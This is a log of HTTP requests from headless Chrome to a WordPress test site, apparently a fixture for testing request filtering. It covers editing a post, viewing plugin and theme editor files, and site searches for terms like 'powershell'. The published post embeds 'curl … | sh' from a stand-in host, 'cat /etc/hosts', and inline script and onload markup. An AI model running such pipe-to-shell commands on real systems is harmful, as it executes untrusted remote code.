{"method": "POST", "target": "/index.php/wp-json/wp/v2/posts/14?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 553", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=14&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207416"], "body": "{\"id\":14,\"status\":\"publish\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\"}"}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php&plugin=akismet%2Fakismet.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fbin%2Finstall.sh&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207404"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fdocker-compose.yml&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207406"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-editor.php?file=inc%2Fconfig.php&theme=example-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207407"], "body": ""}
{"method": "GET", "target": "/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": ""}
{"method": "GET", "target": "/index.php?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=python3&post_status=all&post_type=post&_wpnonce=3a4f1df05d&_wp_http_referer=%2Fwp-admin%2Fedit.php&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207365"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=python3&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207365"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter=&s=python3&_wpnonce=f27c858c25&_wp_http_referer=%2Fwp-admin%2Fupload.php%3Fmode%3Dlist&action=-1&affected=&_ajax_nonce=a654b3ca7f&ps=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=python3&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=python3&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""}
{"method": "GET", "target": "/?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207368"], "body": ""}
{"method": "GET", "target": "/index.php?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207368"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=powershell&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207373"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=powershell&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207375"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=powershell&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207375"], "body": ""}
{"method": "GET", "target": "/?s=sudo+apt+install+nginx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207378"], "body": ""}
{"method": "GET", "target": "/index.php?s=sudo+apt+install+nginx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207378"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=sudo+apt+install+nginx&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207383"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=sudo+apt+install+nginx&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207384"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=sudo+apt+install+nginx&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207385"], "body": ""}
{"method": "GET", "target": "/?s=chmod+%2Bx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207386"], "body": ""}
{"method": "GET", "target": "/index.php?s=chmod+%2Bx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207386"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=chmod+%2Bx&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207390"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=chmod+%2Bx&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207391"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=chmod+%2Bx&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207391"], "body": ""}
